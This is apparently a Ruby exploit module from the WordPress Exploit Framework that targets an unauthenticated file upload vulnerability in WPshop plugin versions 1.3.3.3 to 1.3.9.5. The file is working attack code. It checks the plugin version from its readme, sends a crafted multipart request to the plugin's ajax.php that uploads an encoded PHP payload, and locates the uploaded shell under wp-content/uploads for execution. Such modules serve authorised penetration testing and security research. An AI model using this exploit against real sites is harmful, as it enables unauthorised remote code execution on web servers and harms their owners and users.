# frozen_string_literal: true

class Wpxf::Exploit::WpshopShellUpload < Wpxf::Module
  include Wpxf::WordPress::ShellUpload

  def initialize
    super

    update_info(
      name: 'WPshop Shell Upload',
      desc: 'This module exploits a file upload vulnerability in versions '\
            '1.3.3.3 to 1.3.9.5 of the WPshop plugin which '\
            'allows unauthenticated users to upload and execute PHP scripts '\
            'in the context of the web server.',
      author: [
        'g0blin',    # Vulnerability discovery
        'rastating'  # WPXF module
      ],
      references: [
        ['WPVDB', '7830'],
        ['URL', 'https://research.g0blin.co.uk/g0blin-00036/']
      ],
      date: 'Mar 09 2015'
    )
  end

  def check
    check_plugin_version_from_readme('wpshop', '1.3.9.6', '1.3.3.3')
  end

  def payload_body_builder
    builder = Utility::BodyBuilder.new
    builder.add_field('elementCode', 'ajaxUpload')
    builder.add_file_from_string('wpshop_file', payload.encoded, payload_name)
    builder
  end

  def uploader_url
    normalize_uri(wordpress_url_plugins, 'wpshop', 'includes', 'ajax.php')
  end

  def uploaded_payload_location
    normalize_uri(wordpress_url_wp_content, 'uploads', payload_name)
  end
end
